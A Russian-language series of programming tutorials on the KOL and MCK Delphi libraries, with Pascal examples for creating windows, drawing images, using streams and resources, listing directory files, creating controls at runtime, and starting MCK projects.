Вот пример создания окна:
program L1;
uses
Windows,
messages,
KOL;
{$R *.RES}
var
form:PControl;
begin
form := NewForm(Applet,'Первое окно');
run(form);
end.
Функция Run, "запускает" программу, т.е. запускает цикл, в котором обрабатываются сообщения программы.
Теперь рассмотрим некоторые свойства окна, из которых многие аналогичны стандартным свойствам форм Delphi.| Свойство | Описание |
| Width | Длина окна |
| Height | Высота окна |
| Сарtiоn | Заголовок |
| Handle | Хендл |
| Style | Стиль окна |
| ExStyle | Расширенный стиль окна |
| Top | Положение окна от верхнего края монитора |
| Left | Положение окна от левого края монитора |
Это конечно не все свойства, но они обычно самые нужные. Style и ExStyle отвечают за то, что у обычной формы в VCL отвечает свойство FormStyle. Для тех, кто никогда не имел дело с API, привожу список тех значений, которые они могут принимать. Для Style (основные):
WS_OVERLAPPED создается окно с рамкой заголовком, но без системного меню и кнопок "Свернуть", "Развернуть" и т.д. WS_OVERLAPPEDWINDOW создается окно имеющее заголовок, изменяемый размер, системное меню, и кнопки управлением окна, короче говоря, обычное окно. Данный флаг является комбинацией нескольких других. WS_POPUP флаг, обратный к WS_OVERLAPPED. Создается окно, не имеющее ничего, кроме поверхности. Для добавления строки заголовка нужно добавить флаг WS_CAPTION. WS_BORDER создается окно с простой тонкой рамкой, причем пользователь не может поменять размер окна. WS_THICKFRAME создается окно с толстой рамкой, позволяющее пользователю менять размер окна. WS_HSCROLL создается окно с горизонтальной полосой прокрутки WS_VSCROLL создается окно с вертикальной полосой прокрутки WS_SYSMENU создается окно имеющее системное меню. Для того, чтобы данный флаг заработал, окно должно иметь установленным один из флагов рамки - WS_THICKFRAME или WS_BORDER WS_MAXIMIZEBOX создается окно с кнопкой максимизации WS_MINIMIZEBOX создается окно с кнопкой минимизации WS_DISABLED создается окно, с первоначально запрещенным доступом к нему WS_MAXIMIZE создаваемое окно, сразу после создания максимизируется WS_MINIMIZE то же самое, только окно минимизируется WS_VISIBLE окно создается первоначально видимым. Это очень важный флаг! Если вы не укажете его, то вам придется самостоятельно делать окно видимым при помощи функции ShowWindow. Обычно этот флаг устанавливается вместе с флагом WS_CHILDДля расширенного стиля окна ExStyle значения следующие:
WS_EX_ACCEPTFILES определяет окно, способное принимать перетаскиваемые на него файлы из "Проводника" Windows WS_EX_CONTEXTHELP определяет окно, с кнопкой контекстного поиска в заголовке окна (кнопка со знаком вопроса внутри). Как использовать эту кнопку - это уже другой вопрос. WS_EX_TOPMOST создается окно, располагающееся всегда поверх остальных окон, даже в неактивном состоянии. WS_EX_TOOLWINDOW создается окно с тонкой строкой заголовка, обычно используется для панелей инструментов. WS_EX_CLIENTEDGE создается окно с "утопленной" клиентской областьюОбщий стиль окна получается соединением флагов при помощи операции OR. Если вы используете флаги стиля, то один из них должен быть WS_VISIBLE. В следующей таблице я покажу какими должны быть флаги, для того чтобы создавать окна аналогичные окнам, создаваемым в Delphi.
| Delphi | KOL |
| bsSizeable | Form.Style := WS_THICKFRAME or WS_SYSMENU or WS_MAXIMIZEBOX or WS_MINIMIZEBOX or WS_VISIBLE; Эти параметры устанавливаются автоматически. |
| bsSingle | Form.Style := WS_BORDER or WS_SYSMENU or WS_MAXIMIZEBOX or WS_MINIMIZEBOX or WS_VISIBLE;> |
| bsNone | Form.Style := WS_POPUP or WS_VISIBLE; |
| bsDialog | Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE; |
| bsSizeToolWin | Form.ExStyle := WS_EX_TOOLWINDOW; |
| bsToolWindow | Form.Style := WS_BORDER or WS_SYSMENU or WS_VISIBLE; Form.ExStyle := WS_EX_TOOLWINDOW; |
Но кроме этих типов окон, вы сможете создавать и любые другие, просто по разному комбинируя с флагами стилей.
У окна в KOL есть несколько свойств, позволяющие упрощенное изменение вида окна. Например:
HasBorder - отвечает за то будет ли у окна бордюр и заголовок HasCaption - будет ли у окна заголовок CanResize - можно ли изменять размер окна StayOnTop - будет ли окно всегда на верхуТакже в KOL-окно уже "встроен" StatusBar. Чтобы у вас появилась надпись внизу экрана вам достаточно обратится к свойству.
StatusText[idx:integer]:PChar;
Idx отвечает в какой "ячейке" у вас будет надпись. Например если у вас окно Form, то строка Form.StatusText[1]:='Пример'; Приведет к следующему результату в нижней части окна:
Этой информации достаточно, чтобы создать окно на KOL.
Урок 10 - Вывод графики на экран.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Расскажем про основы вывода графических изображений с помощью KOL. А основы (в моем понимании) - это обычный вывод растровой картинки :).
C помощью КОL вы сможете выводить на экран только bmp. Для того чтобы выводить jpg и gif вы должны подключить JpegObj и KolGif. Благодаря этим дополнительным библиотекам ваша программа конечно станет большего размера, но зато сможет показывать картинки этих двух форматов.
Для того чтобы работать с изображениями вы должны создать объекты типа pBitmap, pGif , pJpeg. Для каждого формата изображения свой тип объекта.
Ниже привожу конструкторы этих объектов.
| Конструктор | Комментарий |
| function NewBitmap( W, H: Integer ): PBitmap; | Создает объект PBitmap для работы с bmp. W и H - это длина и высота изображения. |
| function NewJpeg: PJpeg; | Создает объект PJpeg для работы с jpg |
| function NewGif: PGif; | Создает объект PGif для работы с gif |
function NewPaintbox( AParent: PControl ): PControl;Создав PaintBox, вам надо указать процедуру обрабатывающую событие OnPaint. (OnPaint как известно отвечает за отрисовку компонента) Заголовок процедуры должен быть следующим: procedure NameProcedur ( Dummy: Pointer; Sender: PControl; DC: HDC ); В теле процедуры происходит сама прорисовка при помощи обращения к свойствам Draw, StretchDraw, DrawTransparent или StretchDrawTransparent. Все эти свойства присутствуют у PBitmap и PGif. У PJpeg два последних отсутствуют. Draw - обычная прорисовка с сохранением размера рисунка. StretchDraw - рисунок будет "растягивается" по размеру той поверхности на которой происходит рисование (в нашем случае PaintBox) DrawTransparent - аналог Draw только с добавленной возможностью прозрачности определенного цвета. StretchDrawTransparent - как легко понять из названия StretchDraw с возможностью DrawTransparent (растягивается и прозрачный) При рисование через Draw или DrawTransparent размер PaintBox должен быть равен размеру рисунка. Если этого не произойдет (например PaintBox больше) то часть PaintBox которая "выпирает" не будет прорисовывается и будет прозрачной. А "дырка" в окне программы - это как то не эстетично :) Хватит философствовать, пора и показать пример. В нем мы будем использовать ScrollBox для более удобного просмотра выходящих за пределы окна больших картинок.
program Primer_4;
uses
windows,
messages,
kol,
JpegObj,
KOLGIF;
{$R *.RES}
var
Form,
pTop,
PB,
buOpen,
SBox : pControl;
ext : string;
bmp : pBitmap;
Gif : pGif;
Jpg : pJpeg;
dlgOpen : pOpenSaveDialog;
///////////////////////////////////////////////////////////
procedure DrawPaint( Dummy: Pointer; Sender: PControl; DC: HDC );
begin
if AnsiCompareText(ext, '.bmp') = 0 then
Bmp.Draw(PB.Canvas.Handle, 0, 0);
if AnsiCompareText(ext, '.gif') = 0 then
Gif.Draw(PB.Canvas.Handle, 0, 0);
if AnsiCompareText(ext, '.jpg') = 0 then
jpg.Draw(PB.Canvas.Handle, 0, 0);
end;
///////////////////////////////////////////////////////////
procedure OpenPic ( Dummy : Pointer; Sender : PControl );
begin
if dlgOpen = nil then
dlgOpen := NewOpenSaveDialog('Открыть рисунок', '', []);
if PB = nil then
begin
PB := NewPaintBox(SBox);
PB.OnPaint := TOnPaint( MakeMethod( nil, @DrawPaint ) );
end;
dlgOpen.Filter := 'Рисунки (bmp,gif,jpg)|*.bmp;*.gif;*.jpg';
if dlgOpen.Execute then
begin
ext := ExtractFileExt(dlgOpen.Filename);
if AnsiCompareText(ext, '.bmp') = 0 then
begin
if BMP = nil then
Bmp := NewBitmap( 0, 0 );
Bmp.LoadFromFile(dlgOpen.Filename);
PB.Width := Bmp.Width ;
PB.Height:= Bmp.Height;
end;
if AnsiCompareText(ext, '.gif') = 0 then
begin
if Gif = nil then
Gif := NewGif;
Gif.LoadFromFile(dlgOpen.Filename);
PB.Width := Gif.Width ;
PB.Height:= Gif.Height;
end;
if AnsiCompareText(ext, '.jpg') = 0 then
begin
if jpg = nil then
jpg := NewJpeg;
jpg.LoadFromFile(dlgOpen.Filename);
PB.Width := jpg.Width ;
PB.Height:= jpg.Height;
end;
Form.StatusText[0] := PChar(ExtractFileName(dlgOpen.Filename));
end;
end;
//////////////////////////////////////////////////////////
begin
Applet := NewApplet('Пример # 4 (Работа с графикой)');
Form := NewForm(Applet, 'Пример # 4').SetSize(640, 450);
Form.CenterOnParent; // размещаем наше окно посередине экрана
Form.Font.FontName := 'MS Sans Serif';
Form.Font.FontHeight := 9;
// -------- рисуем интерфейс -----------------------------
pTop := NewPanel(Form, esRaised).SetAlign(caTop);
pTop.Height := 35;
buOpen := NewButton(pTop, 'Открыть').SetAlign(caLeft);
buOpen.OnClick := TOnEvent( MakeMethod( nil, @OpenPic ) );
SBox := NewScrollBoxEx(Form, esLowered).SetAlign(caClient);
// -------------------------------------------------------
run(Applet);
end.
Исходный текст : 2,48 Кб ; размер программы: 102Кб(без сжатия и замены System) Пока это самая большая программа-пример ;-) Вот что у вас должно получится:

Урок 11 - Работа с потоками.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Поговорим про потоки в KOL. Вещь безусловно нужная и поэтому очень приятная :). Потоки позволяют сделать более гибкой работу по обмену и выводу данных из различных источников. Для разных источников (носителей), чтение данных происходит по разному, а потоки унифицируют этот процесс. Теоретическую часть этого вопроса можно найти в любой книжке по Delphi, так что особо разглагольствовать я не буду. Скажу лишь что во многих случаях без них совершенно не обойтись. Например : Вы в ресурс вашей программы поместили gif или jpg файл (ну не хочется вам таскать их отдельными файлами). Разумеется вы захотите когда-нибудь показать их миру . Но не все так просто. Объекты PGif и PJpeg не читают данные из ресурса (только поток или файл. см предыдущий урок). Т.е. у нас сложилась так, что ресурс (источник), не может передать информацию объектам PGif или PJpeg. Вот тут и приходят на помощь потоки. И таких примеров если покопаться можно отыскать достаточно. В конце урока будет приведен пример именно работы с ресурсами (вывод изображения формата gif на экран и сохранения ресурса на диск), а сейчас рассмотрим "школьный минимум".
Конструкторы.
Для создания потока в памяти (чтение и запись): function NewMemoryStream: PStream;
Для создания потоков работающих с файлами:
function NewReadFileStream( const FileName: String ): PStream; function NewWriteFileStream( const FileName: String ): PStream; function NewReadWriteFileStream( const FileName: String ): PStream;FileName - имя фала на диске. Эти три конструктора отличаются по целям для которых вы собираетесь использовать файл. 1-й для чтения ; 2-й для записи ; 3-й для записи и чтения.
Основные свойства PStream.
| Свойства PStream | |
| Свойство. | Описание. |
| Size: DWord; | Возвращает размер данных в потоке. |
| Position: DWord; | Текущая позиция в потоке |
| Memory: Pointer; | Указатель. Только для потоков созданных в памяти |
| Handle: THandle; | Хэндл. Только для файловых потоков |
Список методов:
| Методы PStream | |
| Метод. | Описание. |
| function Read( var Buffer; Count: DWord ): DWord; | Чтение в буфер (Buffer) Count байт из потока |
| function Write( var Buffer; Count: DWord ): DWord; | Запись Count байт в поток из буфера Buffer начиная с текущей позиции. |
| function WriteStr( S: String ): DWORD; | Запись любой паскалевской строки (не заканчивающейся нулем) в поток. Запись происходит с текущей позиции. |
А теперь сам обещанный пример. Для его работы у вас должен быть установлен KolGif (можете скачать в разделе файлы). Вы также должны создать ресурс содержащий любой gif с именем logo.gif (в моем случаем это логотип нашего сайта). Для этого создайте файл с расширение *.rc (у меня pic.rc) содержащий следующий текст: LOGOTIP RCDATA "logo.gif" Скомпилируйте при помощи brcc32.exe: brcc32.exe pic.rc В процедуре SavePic выполняется сохранения ресурса на жесткий диск (эта процедура происходит при клике по рисунку). В ShowForma gif рисунок извлекается из ресурса и выводится на экран. В обоих процедурах используется функция Resource2Stream. Она переводит данные из ресурса в поток.
program Primer11;
uses
Kol,
Messages,
Windows,
KolGif;
{$R *.RES}
{$R pic.res}
var
forma,
pb: pControl;
Gif: pGif;
PicStream: PStream;
//////////////////////////////////////////////////////////////////////////
// рисование избражения
procedure DrawPaint( Dummy: Pointer; Sender: PControl; DC: HDC );
begin
Gif.Draw(PB.Canvas.Handle, 0, 0);
end;
//////////////////////////////////////////////////////////////////////////
//"забрасываем" ресурс на диск
procedure SavePic( Dummy : Pointer; Sender: PControl );
begin
//GetWindowsDir[1] - будем мусорить на системном диске :)
//создаем файл-поток для изображения
PicStream := NewWriteFileStream(GetWindowsDir[1] + ':\logo.gif');
// переводим данные из ресурса в поток
Resource2Stream(PicStream, HInstance, 'LOGOTIP', RT_RCDATA);
PicStream.free;
end;
//////////////////////////////////////////////////////////////////////////
// показываем картинку из ресурса
procedure ShowForma( Dummy : Pointer; Sender: PControl );
begin
PicStream := NewMemoryStream; //создаем поток для изображения
// переводим данные из ресурса в поток
Resource2Stream(PicStream, HInstance, 'LOGOTIP', RT_RCDATA);
//Указываем с какой позиции у нас будут читаться данные
PicStream.Position := 0;
gif := NewGif;
gif.LoadFromStream(PicStream);
PB := NewPaintBox(forma);
PB.OnPaint := TOnPaint( MakeMethod( nil, @DrawPaint ) );
// в случае клика по картинке сохраняем ее на диск
PB.OnClick := TOnEvent( MakeMethod( nil, @SavePic ) );
PB.Width := gif.Width ;
PB.Height:= gif.Height;
PB.CenterOnParent;
PicStream.free;
end;
//////////////////////////////////////////////////////////////////////////
begin
Applet := NewApplet('Работа с потоком');
Forma := NewForm(Applet, 'Работа с потоком (вывод gif)');
Forma.SetSize(310, 120);
Forma.CenterOnParent;
Forma.Font.FontName := 'MS Sans Serif';
Forma.Font.FontHeight := 9;
Forma.onShow := TOnEvent(MakeMethod(nil, @ShowForma));
Run(Applet);
end.
Исходный текст : 1,9 Кб ; размер программы: 56,5Кб (без сжатия и замены System). Из этих 57 килобайт около 12 занимает картинка. Вот что вы должны увидеть :

Пример не совсем выгоден с точки зрения экономии дискового пространства :) Дело в том что логотип в bmp весит всего 24 Кб (цвет 8 бит), а KOLGif примерно 12Кб добавляет в размер программы + 12 Кб рисунок. Но при больших картинках помещать в ресурс gif уже более разумней.
Урок 12 - Создание списка файлов.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
Не так уж и часто, но бывает надо в программе получить список файлов или поддиректорий в каталоге. Для тех, кто использует KOL и MCK открываются аж 3 способа решения этой проблемы. Правда нормальный, по моему мнению, все-таки только один :) Рассмотрим все.
1-й способ. " Традиционный .".
Традиционно пользуются 3-мя API функциями: FindFirstFile (ищет первый файл из списка файлов), FindNextFile (ищет следующий файл) , FindClose (прекращение поиска). Обычно первые 2-е функции заменются их VCL-суррогатами FindFirst, FindNext. Для нас, они не совсем приемлемы, так как для того чтобы воспользоваться этими функциями, надо подключить библиотеку Sysutils. А это как известно добавляет лишний жирок в наши атлетически сложенные программы :-). Пример на чистом API с примесью KOL.
program Primer12;
uses
Windows,
Messages,
Kol;
{$R *.RES}
var
Form: Pcontrol;
// ----- элементы интерфейса -----
List: PControl;
// -----------------------------
FindHandle : THandle;
FindData : TWin32FindData;
b: boolean;
s: string;
begin
Applet := NewApplet( 'Список файлов' );
form:=NewForm(Applet, 'Список файлов' ).SetSize(300, 400);
form.CenterOnParent;
List := NewListBox(form, []).SetAlign(caClient);
// устанавливаем атрибуты файла
FindData.dwFileAttributes := FILE_ATTRIBUTE_NORMAL;
// ищем первый файл в каталоге C:\
FindHandle := FindFirstFile('C:\*.*', FindData);
// если все Ok, тогда продолжаем
if FindHandle <> INVALID_HANDLE_VALUE then
begin
b := true;
while b do
begin
s := FindData.cFileName;
// всякие точки и двоеточия нам не нужны
if (s<>'..') and (s<>'.') then
List.Add(s);
b := FindNextFile(FindHandle, FindData);
end;
end;
FindClose(FindHandle);
run(Applet);
end.
Пояснения на счет атрибутов для искомых файлов:
FILE_ATTRIBUTE_ARCHIVE - архивный файл. FILE_ATTRIBUTE_COMPRESSED - сжатый файл или папка. FILE_ATTRIBUTE_HIDDEN - скрытый файл. FILE_ATTRIBUTE_NORMAL - обычный файл. FILE_ATTRIBUTE_OFFLINE - данные файла недоступны. Указывает, что данные файлы были физически перемещены. FILE_ATTRIBUTE_READONLY - файл только для чтения. FILE_ATTRIBUTE_SYSTEM - системный файл. FILE_ATTRIBUTE_TEMPORARY - временный файл. FILE_ATTRIBUTE_DIRECTORY - директория2-й способ. "В лоб.".
Несмотря на простоту представленного кода эту операцию можно сделать еще проще т.к. ListBox сам может показать файлы в определенной директории. Для этого надо обратится к свойству AddDirList. Пример еще меньше.
program Primer12_2;
uses
Windows,
Messages,
Kol;
{$R *.RES}
var
Form: Pcontrol;
// ----- элементы интерфейса -----
List: PControl;
// ------------------------------
begin
Applet := NewApplet('Список файлов');
form := NewForm(Applet, 'Список файлов').SetSize(300, 400);
form.CenterOnParent;
List := NewListbox(form, []).SetAlign(caClient);
List.AddDirList('C:\*.*', FILE_ATTRIBUTE_NORMAL);
run(Applet);
end.
Это конечно интересный способ получать список файлов, но не функциональный :) Не создавать ведь на окне каждый раз ListBox или СоmьоВох (он тоже имеет это же свойство), чтобы получить список файлов. Да и почему-то выводимый список файлов в виде " коротких имен " (т.е. как будто в DOS). Скорее всего Владимир Кладов добавил это свойство как интересную фичу и не более.
3-й способ. " Как положено ".
Ну и самое интересное :) В KOL есть объект предназначенный для создания списка фалов. Это PDirList. Вот его конструктор:
function NewDirList( const DirPath, Filter: String; Attr: DWORD ): PDirList;
DirPath - сканируемая директория Filter - фильтр для файлов или каталогов Attr - атрибуты.
Список методов и свойств для работы с этим обьектом:
| Метод. | Описание. |
| procedure Clear; | Очищает текущий список с файлами. |
| procedure ScanDirectory( const DirPath, Filter: String; Attr: DWord ); | Сканирует директорию DirPath. Все передаваемые значения идентичны конструктору. |
| procedure Sort( Rules: array of TSortDirRules ); | Сортировка списка файлов. Rules (условие сортировки) может быть следующим : sdrNone - обойдемся без сортировки sdrFoldersFirst - сначала идет каталог, а только затем файл. sdrCaseSensitive sdrByName - по имени sdrByExt - по расширению sdrBySize - по размеру sdrBySizeDescending drByDateCreate - по дате создания sdrByDateChanged - по дате изменения sdrByDateAccessed -по дате доступа |
| Свойство. | Описание. |
| property Items[ Idx: Integer ]: PWin32FindData | Получить доступ к структуре PWin32FindData для файла идущего под номером Idx. Подробности об PWin32FindData смотрите в Win32.hlp и в примере " стандартного " создания списка фалов |
| property IsDirectory[ Idx: Integer ]: Boolean; | Возвращает true если запись под номером Idx в списке не является файлом. |
| property Count: Integer; | Возвращает количество пунктов в списке. |
| property Names[ Idx: Integer ]: string; | Возвращает полное имя файла (или каталога) находящимся в списке под номером Idx. |
| property Path: string; | Путь текущей просканированной директории. |
Пример. Наверху в окне находится список дисков. Ниже находится список файлов и подкаталогов, находящихся в центральных каталогах этих дисков.
program Primer12_3;
uses
windows,
messages,
kol;
{$R *.RES}
var
form: Pcontrol;
// ----- элементы интерфейса -----
ListFile, ListDrv: PControl;
// ------------------------------
FileL: pDirList;
i, j: integer;
DriveBits: set of 0..25;
DriveNum: integer;
DriveChar: char;
///////////////////////////////////////////////////////////////////////////
procedure SelDrv(Dummy: Pointer; Sender: PControl);
var
s: string;
begin
s := ListDrv.Text;
if FileL = nil then
FileL := NewDirList(s, '*.*', FILE_ATTRIBUTE_NORMAL)
else
begin
FileL.Clear;
FileL.ScanDirectory(s, '*.*', FILE_ATTRIBUTE_NORMAL);
end;
FileL.Sort([sdrByName]);
ListFile.Clear;
if FileL.Count > 0 then
for i := 0 to FileL.Count - 1 do
ListFile.add(FileL.Names[i]);
end;
///////////////////////////////////////////////////////////////////////////
begin
Applet := NewApplet('Список файлов');
form := NewForm(Applet, 'Список файлов').SetSize(250, 300);
form.CenterOnParent;
Form.Font.FontName := 'MS Sans Serif';
Form.Font.FontHeight := 9;
//----------- "рисуем" интерфейс -----------------------
ListDrv := NewComboBox(form, []).SetAlign(caTop);
ListFile := NewListbox(form, []).SetAlign(caClient);
//------------------------------------------------------
Integer(DriveBits) := GetLogicalDrives; // получаем номера дисков
i := 0;
j := 0;
// узнаем список дисков
for DriveNum := 0 to 25 do
if DriveNum in DriveBits then
begin
DriveChar := Char(DriveNum + Ord('a'));
DriveChar := UpCase(DriveChar);
ListDrv.Add(DriveChar + ':\');
if DriveChar = 'C' then j := ListDrv.Count - 1; // узнаем каким в очереди идет диск С:\
end;
ListDrv.CurIndex := j;
ListDrv.OnChange := TOnEvent(MakeMethod(nil, @SelDrv));
SelDrv(nil, nil); // показываем файлы на текущем диске
run(Applet);
end.
Размер кода 1,8 Кб. Размер программы 34,5 Кб (без сжатия и замены модулей). На экране увидите Вы примерно следующее:

Урок 13 - Жизнь и смерть в режиме RunTime на KOL.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
13 урок... Если вы суеверный можете не читать :) В этом разделе у нас будет немного мистики и чертовщины (Кнопки и прочие контролы интерфейса будут возникать и пропадать неоткуда). В общем если вы немного Гарри Потерр данный монолог будет вам интересен :).
В форуме уже звучали вопросы про "динамическое" создание кнопок. Если ваш проект на VCL то глоток знаний по данному вопросу можно получить на сайте Королевство DELPHI в статья "Жизнь и смерть в режиме run-time" (надеюсь автор статьи не обвинит меня в плагиате). Рекомендую вам прочесть данный опус для общего развития и потому что фактически все ниже изложенное вытекает из этого произведения. Что бы понять отличия от VCL в данном вопросе надо уяснить 2 вещи :
У объектов нет свойства Name (поэтому вы не сможете их искать через FindComponent) Все изменения вытекают из 1-го пункта :)При создание объекта на уже работающем окне вам кроме обычного конструктора надо сделать обращение к CreateWindow. Пример :
// form - родительский объект на котором создается контрол NewBigButton := NewButton(form, 'КНОПКА'); NewBigButton.CreateWindow;
Если все нормально CreateWindow возвращает true. Так что если вы "правильный" программист неплохо бы эту функцию вызывать c проверкой через IF.
"Родительский" объект "нумерует" все объекты которые вы создаете на нем. Для того что бы узнать под каким номером идет ваш "дочерний" объект нужно обратившись к свойству ChildIndex. А если вам известен номер "дочернего" объекта то вы сможете обратится к нему через свойство Children. Пример :
var i: Integer; ... // form - родительский объект NewBigButton := NewButton(form, 'КНОПКА'); NewBigButton.CreateWindow; i := form.ChildIndex(NewBigButton); // получаем номер объекта form.Children(i).caption := ' Это кнопка'; // обращаемся к тому же NewBigButton
Количество дочерних объектов узнается с помощью ChildCount. Таким образом можно устроить "перебор" всех дочерних объектов определенного контрола.
Наверное у некоторых читателей может возникнуть вопрос: к чему мне все эти "номера дочерних объектов"? Ответ на вопрос лежит на поверхности. Если вы создаете ваши контролы динамически(их количество не определено заранее) вы не сможете обратится к ним другим способом только как через его номер. При этом надо учесть что номера объектов сдвигается если ранее созданный объект удален. Для того что бы создаваемые вами визуальные объекты имели дополнительную информацию можно использовать свойство Tag. В него можно заносить любое целое число. В ниже приведенном примере в Tag заносится константа которая указывает на "функциональный тип" объекта (кнопка, EditBox и т.д.).
program Primer13;
uses
kol,
messages,
windows;
{$R *.RES}
var
form, butNewElement, lebDel, edNoDel, butDelElement, gb,
rbButton, rbEditBox, rbRadioBox, rbCheckBox: pControl;
new: pControl;
Nomer: integer;
const
cButton = 1;
cEditBox = 2;
cRadioBox = 3;
cCheckBox = 4;
procedure ClickElemet(Dummy: Pointer; Sender: PControl);
begin
case Sender.Tag of
cButton: ShowMessage('Нажата кнопка - № ' + Int2Str(form.ChildIndex(Sender)));
cRadioBox: ShowMessage('Нажата RadioBox - № ' + Int2Str(form.ChildIndex(Sender)));
cCheckBox: ShowMessage('Нажат CheckBox - № ' + Int2Str(form.ChildIndex(Sender)));
end; {case}
end;
procedure ClickButMakeButton(Dummy: Pointer; Sender: PControl);
begin
// Фактически самая главная функция.
// В зависимости от того какой RadioBox выбран создаем
// определенного вида объект
if rbButton.Checked then
begin
new := NewButton(form, '');
new.Width := 100;
new.Caption := 'Button №' + int2Str(form.ChildIndex(new));
new.Tag := cButton;
end
else
if rbEditBox.Checked then
begin
new := NewEditBox(form, []);
new.Text := 'EditBox №' + int2Str(form.ChildIndex(new));
new.Tag := cEditBox;
end
else
if rbRadioBox.Checked then
begin
new := NewRadioBox(form, '');
new.Caption := 'RadioBox №' + int2Str(form.ChildIndex(new));
new.Width := 100;
new.Tag := cRadioBox;
end
else
if rbCheckBox.Checked then
begin
new := NewCheckBox(form, '');
new.caption := 'CheckBox №' + int2Str(form.ChildIndex(new));
new.Width := 100;
new.Tag := cCheckBox;
end;
new.CreateWindow;
// ------- располагаем по красивее новый контрол -------
new.Left := 10;
inc(Nomer);
// так как все 4 элемента имеют одинаковую высоту...
new.Top := Nomer * new.Height;
// ------------------------------------------------------
new.OnClick := TOnEvent(MakeMethod(nil, @ClickElemet));
end;
//////////////////////////////////////////////////////////////////////////
procedure ClickDelElemet(Dummy: Pointer; Sender: PControl);
begin
form.Children[Str2Int(edNoDel.Text)].free;
end;
//////////////////////////////////////////////////////////////////////////
begin
Applet := NewApplet('RunTime');
Applet.Font.FontName := 'Arial';
Applet.Font.FontWidth := 15;
form := NewForm(Applet, 'Создание в режиме RunTime элементов интерфейса').SetSize(600, 450);
form.CenterOnParent;
//--------------------------- рисуем интерфейс ---------------------------
gb := NewGroupBox(form, 'Выберите').SetAlign(caRight);
gb.Width := 100;
rbButton := NewRadioBox(gb, 'Button').SetAlign(caTop);
rbEditBox := NewRadioBox(gb, 'EditBox').SetAlign(caTop);
rbRadioBox := NewRadioBox(gb, 'RadioBox').SetAlign(caTop);
rbCheckBox := NewRadioBox(gb, 'CheckBox').SetAlign(caTop);
// главная кнопка
butNewElement := NewButton(gb, 'Создать');
butNewElement.Width := 110;
butNewElement.Align := caTop;
butNewElement.OnClick := TOnEvent(MakeMethod(nil, @ClickButMakeButton));
butDelElement := NewButton(gb, 'Удалить').SetAlign(caBottom);
butDelElement.OnClick := TOnEvent(MakeMethod(nil, @ClickDelElemet));
edNoDel := NewEditBox(gb, []).SetAlign(caBottom);
edNoDel.Text := '1';
lebDel := NewWordWrapLabel(gb, 'Номер удаляемого элемента').SetAlign(caBottom);
//------------------------------------------------------------------------
run(Applet);
end.
Размер кода 3,3 Кб. Размер программы 31,5 Кб (без сжатия и замены модулей). На экране увидите Вы примерно следующее:

P.S. Уже когда все было написано Дмитрий Жаров aka Gandalf внес замечание по поводу того что (далее идет цитата) >1) Есть Tag, ему можно присвоить PChar, вот так: >obj1.Tag := Integer( 'Obj1' ); (это вырезка из переписки Gandalf с Кладовым) Мысль очень не плохая так как дает возможность назначать контролам имена и делать поиск по ним.
Урок 14 - MCK - RAD технологи для минималистов.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
MCK наверняка поRАDует всех тех кто любит "рисовать" интерфейс, но при этом хочет создавать быстрые, компактные приложения как на WinAPI. Признаю. Мне это тоже нравится :) Согласитесь что это увеличивает скорость создания программы чуть ли не в разы.
Подробное описание создания MCK-проекта(как и многого другого) дается в KOLmirrorReadme.rus Это же повествование можно назвать "уроком для тех кто любит с картинками" :) Приступим (подразумевается что KOL и MCK установлены).
Создание проекта MCK.
Создайте новый VCL проект. Охраните его. (*.pas файлу дайте осмысленное имя; *.dpr можно назвать как хотите) Перейдите к закладке KOL Нанесите компонент KOLProject
на форму Измените через инспекторе обьектов (Object Inspector) свойство ProjectDest. Введите настоящее имя проекта. Например TestMCK. Нанесите компонент KOLForm на форму. Измените через инспекторе объектов (Object Inspector) свойство formName. Введите имя формы. Сохраните изменения в проекте (File - Save All). Откройте созданный проект (Ctrl-F11). В нашем случае TestMCK.dpr. Запустите проект F9.
Все... :) Несмотря на то что я расписал 10 шагов фактически делается 4 клика и изменяются 2 параметра. Результат: пустая форма. Не удивительно что во второй раз эти действия выполняются на автомате.
Добавление новой формы в проект.
Что бы добавить в проект новое окно надо:
Создать новую форму (File - New Form) Бросить на форму KOLForm Измените через инспекторе объектов (Object Inspector) свойство formName. Введите имя формы. Сохраните изменения в проекте (File - Save All). Перейдите в опции проекта (Project - Options...) В закладке Forms укажите что бы форма создаваться не автоматически.Если вы не сделаете 5 и 6 шаг окно будет создаватся и показыватся при запуске. Что довольно удобно когда вы занимаетесь его дизайном. Для вызова формы достаточно добавить код:
NewИмя_формы(Имя_формы,Applet ); // создаем окно Имя_формы.Form.ShowModal; // показываем в модальном режиме Имя_формы.Form.Free; // удаляем от греха подальше :).
Если вы не поняли что такое NеwИмя_формы смотрите pas файл для этой формы.
Несколько нюансов:
Для того чтобы добавить в левый верхний угол иконку надо поставить у KOLProject свойство dprResorce равным True. После чего можете менять иконку как в обычном VCL проекте.
MCK является "оберткой" над KOL и проект "генерит" привычные по прошлым урокам конструкторы в файлы с расширением *.inc. Если во время разработки генерация не была произведена автоматически, перейдите к KOLProject и поменяйте свойство BUILD на true. True он все равно не станет, но проект построится заново :).
Обращение к свойствам формы происходит через FORM: Имя_формы.Form.Свойство := ... Имя_формы - это formName Например. Изменение заголовка у формы под именем Main: Main.Form.Caption := 'Заголовок';
Для того что бы завершить работу программы надо также как и в обычном KOL написать: Applet.Close;
Всю остальную информацию можно почерпнуть в файле KOLmirrorReadme.rus. Благодаря этому файлу данный разговор получился столь сжатым :).
Все дальнейшие уроки будут посвящены MCK.
Урок 15 - Описание свойств TKOLForm.
Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru
Полную версию библиотеки KOL и MCK можно скачать здесь.
TKOLForm Ниже приведена таблица с описанием большинство свойств которые вы сможете увидеть в инспекторе задачи при выделение объектов TKOLForm.
| Свойство | Описание |
| AlphaBlend | Прозрачность окна. Принимает значение от 0 до 250. Работает только в Windows XP. |
